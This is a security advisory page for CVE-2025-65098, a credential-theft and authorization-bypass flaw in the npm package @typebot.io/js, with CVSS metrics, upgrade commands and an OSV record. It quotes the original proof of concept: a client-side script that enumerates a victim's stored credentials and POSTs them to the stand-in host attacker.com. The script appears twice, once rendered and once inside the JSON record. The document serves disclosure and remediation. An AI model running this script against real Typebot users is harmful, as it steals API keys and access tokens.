CVE-2025-65098: @typebot.io/js Typebot Affected By Credential Theft Vulnerability
HIGH
Advisory Identifier:
GHSA-4xc5-wfwc-jw47
Advisory Summary
CVE-2025-65098 is a HIGH (CVSS 7.4) typebot affected by credential theft vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @typebot.io/js libraries in the npm ecosystem. The issue involves typebot affected by credential theft via client-side script execution and api authorization bypass. Remediation is available by upgrading affected packages to version 0.9.15.
CVE-2025-65098 at a Glance
CVE Identifier
CVE-2025-65098
GHSA Identifier
GHSA-4xc5-wfwc-jw47
Severity
HIGH
CVSS v3.1 Base Score
7.4
CWE Classification
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product
@typebot.io/js
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 7.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
Required (UI:R)
Scope
Changed (S:C)
Confidentiality
High (C:H)
Integrity
None (I:N)
Availability
None (A:N)
How to Fix CVE-2025-65098
To remediate this vulnerability, upgrade all affected @typebot.io/js dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
@typebot.io/js
fixed: 0.9.15
npm install @typebot.io/js@0.9.15
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @typebot.io/jsHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-65098, inspect your project dependencies using npm:
npm ls @typebot.io/jsAnalyze the terminal output to locate any version of @typebot.io/js in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.15), your application is affected.
Note: The npm ls @typebot.io/js command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @typebot.io/js, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership
---
### Details
The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.
The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:
```http
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}
Response:
{
"result": {
"data": {
"json": {
"name": "My OpenAI Key",
"data": { "apiKey": "sk-proj-abc123...xyz789" }
}
}
}
}
```
The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.
Vulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`
---
### PoC
Here's how to reproduce:
1. Create a new typebot in the Builder
2. Add a Script block and enable "Execute on client"
3. Paste this code:
```javascript
const exfil = async () => {
const data = { credentials: [] };
const list = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
{ credentials: "include" }
);
const creds = (await list.json()).result?.data?.json?.credentials || [];
for (const c of creds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
name: d.result.data.json.name,
type: c.type,
apiKey: d.result.data.json.data.apiKey,
fullData: d.result.data.json.data,
});
}
const ws = await fetch(
"https://app.typebot.io/api/trpc/workspace.listWorkspaces",
{ credentials: "include" }
);
const workspaces = (await ws.json()).result.data.json.workspaces;
for (const w of workspaces) {
const wsList = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
),
{ credentials: "include" }
);
const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];
for (const c of wsCreds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({
json: {
workspaceId: w.id,
scope: "workspace",
credentialsId: c.id,
},
})
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
workspace: w.name,
name: d.result.data.json.name,
type: c.type,
fullData: d.result.data.json.data,
});
}
}
await fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify(data),
});
};
await exfil();
```
4. Share typebot with victim
5. When victim clicks "Run" to preview, script executes
6. All credentials exfiltrated in plaintext:
```json
{
"credentials": [
{
"name": "My OpenAI",
"type": "openai",
"apiKey": "sk-proj-abc123...",
"fullData": { "apiKey": "sk-proj-abc123..." }
},
{
"workspace": "Company Workspace",
"name": "Google Sheets",
"type": "google-sheets",
"fullData": {
"refresh_token": "1//0gHdP...",
"access_token": "ya29.a0..."
}
}
]
}
```
---
### Impact
All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.
Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.
Root causes:
- Client-side scripts execute with victim's authenticated session
- API returns plaintext credentials without ownership verification
- No user warnings or consent prompts
- Exploitable with free tier account
CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)
CVE-2025-65098 Affected @typebot.io/js Versions
1 component(s)
Fixed Versions:
0.9.15
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@typebot.io/js
|
npm |
< 0.9.15
|
0.9.15
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47
NVD — CVE-2025-65098
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-65098
Security Fix Commit
FIX COMMIT
https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579
@typebot.io/js Source Repository
REPOSITORY
https://github.com/baptisteArno/typebot.io
Frequently Asked Questions
What is CVE-2025-65098?
CVE-2025-65098 is a security vulnerability in @typebot.io/js involving Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @typebot.io/js versions are affected?
Affected versions include releases prior to 0.9.15 across affected packages: @typebot.io/js.
What version fixes CVE-2025-65098?
Upgrading to 0.9.15 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @typebot.io/js affected?
Yes, @typebot.io/js is affected in releases prior to 0.9.15. Upgrade your dependency to 0.9.15 or later.
What is the CVSS score of CVE-2025-65098?
CVE-2025-65098 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2025-65098?
CVE-2025-65098 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2025-65098?
Run the dependency tree command: 'npm ls @typebot.io/js'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-4xc5-wfwc-jw47",
"modified" : "2026-01-22T18:02:12Z",
"published" : "2026-01-22T18:02:12Z",
"aliases" : [ "CVE-2025-65098" ],
"summary" : "Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass",
"details" : "### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n \"result\": {\n \"data\": {\n \"json\": {\n \"name\": \"My OpenAI Key\",\n \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n }\n }\n }\n}\n```\n\nThe endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere's how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () => {\n const data = { credentials: [] };\n\n const list = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n { credentials: \"include\" }\n );\n const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n for (const c of creds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n name: d.result.data.json.name,\n type: c.type,\n apiKey: d.result.data.json.data.apiKey,\n fullData: d.result.data.json.data,\n });\n }\n\n const ws = await fetch(\n \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n { credentials: \"include\" }\n );\n const workspaces = (await ws.json()).result.data.json.workspaces;\n\n for (const w of workspaces) {\n const wsList = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n ),\n { credentials: \"include\" }\n );\n const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n for (const c of wsCreds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({\n json: {\n workspaceId: w.id,\n scope: \"workspace\",\n credentialsId: c.id,\n },\n })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n workspace: w.name,\n name: d.result.data.json.name,\n type: c.type,\n fullData: d.result.data.json.data,\n });\n }\n }\n\n await fetch(\"https://attacker.com/exfil\", {\n method: \"POST\",\n body: JSON.stringify(data),\n });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n \"credentials\": [\n {\n \"name\": \"My OpenAI\",\n \"type\": \"openai\",\n \"apiKey\": \"sk-proj-abc123...\",\n \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n },\n {\n \"workspace\": \"Company Workspace\",\n \"name\": \"Google Sheets\",\n \"type\": \"google-sheets\",\n \"fullData\": {\n \"refresh_token\": \"1//0gHdP...\",\n \"access_token\": \"ya29.a0...\"\n }\n }\n ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim's authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@typebot.io/js"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.15"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-65098"
}, {
"type" : "WEB",
"url" : "https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/baptisteArno/typebot.io"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-22T18:02:12Z",
"nvd_published_at" : "2026-01-22T15:16:48Z"
}
}